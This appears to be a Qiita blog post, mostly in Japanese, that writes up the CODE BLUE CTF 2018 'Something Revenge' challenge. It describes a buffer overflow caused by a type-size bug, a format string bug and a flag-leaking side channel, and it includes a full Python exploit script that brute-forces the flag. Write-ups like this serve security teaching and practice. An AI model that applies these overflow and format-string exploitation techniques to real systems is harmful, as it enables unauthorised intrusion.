Help us understand the problem. What is going on with this article?

CODE BLUE CTF 2018 Quals Write-up

More than 1 year has passed since last update.

CODE BLUE CTF 2018 Quals

Something Revengeのwrite-up

Something Revenge

  /$$$$$$                                            /$$$$$$$                                                              /$$$$
 /$$__  $$  /$$/$$   /$$/$$   /$$/$$   /$$/$$       | $$__  $$                                                            /$$  $$
| $$  \__/ |  $$$/  |  $$$/  |  $$$/  |  $$$/       | $$  \ $$  /$$$$$$  /$$    /$$ /$$$$$$  /$$$$$$$   /$$$$$$   /$$$$$$|__/\ $$
| $$ /$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$$      | $$$$$$$/ /$$__  $$|  $$  /$$//$$__  $$| $$__  $$ /$$__  $$ /$$__  $$   /$$/
| $$|_  $$|__ $$$_/|__ $$$_/|__ $$$_/|__ $$$_/      | $$__  $$| $$$$$$$$ \  $$/$$/| $$$$$$$$| $$  \ $$| $$  \ $$| $$$$$$$$  /$$/
| $$  \ $$  /$$ $$   /$$ $$   /$$ $$   /$$ $$       | $$  \ $$| $$_____/  \  $$$/ | $$_____/| $$  | $$| $$  | $$| $$_____/ |__/
|  $$$$$$/ |__/__/  |__/__/  |__/__/  |__/__/       | $$  | $$|  $$$$$$$   \  $/  |  $$$$$$$| $$  | $$|  $$$$$$$|  $$$$$$$  /$$
 \______/                                           |__/  |__/ \_______/    \_/    \_______/|__/  |__/ \____  $$ \_______/ |__/
                                                                                                       /$$  \ $$
                                                                                                      |  $$$$$$/
                                                                                                       \______/

If there is one thing I've learned about CTFs it is that people love guessing challenges.
So we thought, why not skip the middleman and just have players guess the flag directly.
I hope you have fun ;)

flag (1/3):
$ file smth_revenge
smth_revenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d53be898817b6bc2b1fe69cbd1ce8ba8882d76fb, stripped

x64のstrippedなバイナリが与えられる.libcはない.

解析

大雑把な動作は

  1. フラグファイルをopenする
  2. フラグファイルをmmapする
  3. prctlseccompを設定し,openexecveなどを使えなくする
  4. readで入力を受け取る
  5. フラグと入力を比較する
  6. 4-5を全部で3回行う
  7. フラグをmunmap
  8. フラグファイルをclose

また,出力用に簡単なprintfが実装されていて,%d, %c, %nが使える.
大体の挙動はprintfと同じだが,%nは指定アドレスに書き込むのではなく,引数に直接書き込んでしまう.

バグ

1つめのバグはreadの長さを決めるmax_read変数にあり,この値は毎回更新されているが,ポインタの参照外しをするときに型を間違えている.
この大きさを表すmaxlenは本来は2バイトなのに4バイト整数として渡してしまっている.
type_size.pngmaxlen.png

nretryはflagになにも入力せずやり直しになった回数を表していて,maxlenはこれを巻き込んで解釈されるので,
1回やり直すことで,とても長いreadができてBuffer Overflowする.

2つめのバグは入力したフラグが正しくなかった場合に入力をオウム返しする部分にFormat String Bugがある.

解法

真のフラグとユーザが入力したフラグを比較する部分で,最初に間違っていた値がdlに入ったままFormat String Bugが起きる.
compare_loop.png

これによって,入力したフラグがどこまで合っていたかわかるので,端からフラグの文字列を特定していくことができる.
まとめると,
1. わざと'\n'だけ入力して,1回やり直す.
2. bofを使って変数を書き換えてループをほぼ無限回に増やす.
3. 左端から1文字ずつ総当りして,フラグを特定する.
これを自動化するスクリプトを書いてサーバに持って行って実行する.

remote.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from subprocess import Popen, PIPE
from struct import pack
import signal

class Process:
    def __init__(self, argv):
        self.p = Popen(argv, stdin=PIPE, stdout=PIPE)
    def send(self, data):
        self.p.stdin.write(data)
    def recv(self, n):
        return self.p.stdout.read(n)
    def recvuntil(self, delim):
        data = ''
        while not data.endswith(delim):
            data += self.recv(1)
        return data
    def sendline(self, data):
        self.send(data + '\n')
    def terminate(self):
        self.p.terminate()

def p64(n):
    return pack('<Q', n)

def raise_exception(sig):
    raise Exception

to_saved_rbp = 0x140 - 0xa0
flag_length = 0x80

def main():
    signal.signal(signal.SIGALRM, raise_exception)
    tube = Process(['./smth_revenge'])
    print('retry once')
    tube.recvuntil('): ')
    tube.send('\n')
    print('overwrite the loop counter')
    tube.recvuntil('): ')
    loop_counter = p64(0xf0000000f0000000)
    tube.sendline('A' * (to_saved_rbp-8) + loop_counter)
    print('try candidates')
    flag = 'CBCTF{' + '\xff' * (flag_length - len('CBCTF{')) + '%c\xfe%c'
    for i in range(len('CBCTF{')+1, flag_length):
        for char in range(0x20, 0x7f):
            if chr(char) == '%':
                continue
            flag = flag[:i-1] + chr(char) + flag[i:]
            tube.recvuntil('): ')
            tube.sendline(flag) # send flag
            signal.alarm(1) # set alarm
            try:
                tube.recvuntil('\xfe')
            except Exception: # correct flag
                break
            signal.alarm(0) # turn off alarm
            data = tube.recv(1) # read the first wrong char from beginning
            if data == '\xff': # correct char
                break
        if chr(char) == '}': # end of the flag
            break
    print(flag[:i])
    tube.terminate() # Don't forget to kill the process

# execute this on the remote server
if __name__ == '__main__':
    main()
szk3y
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away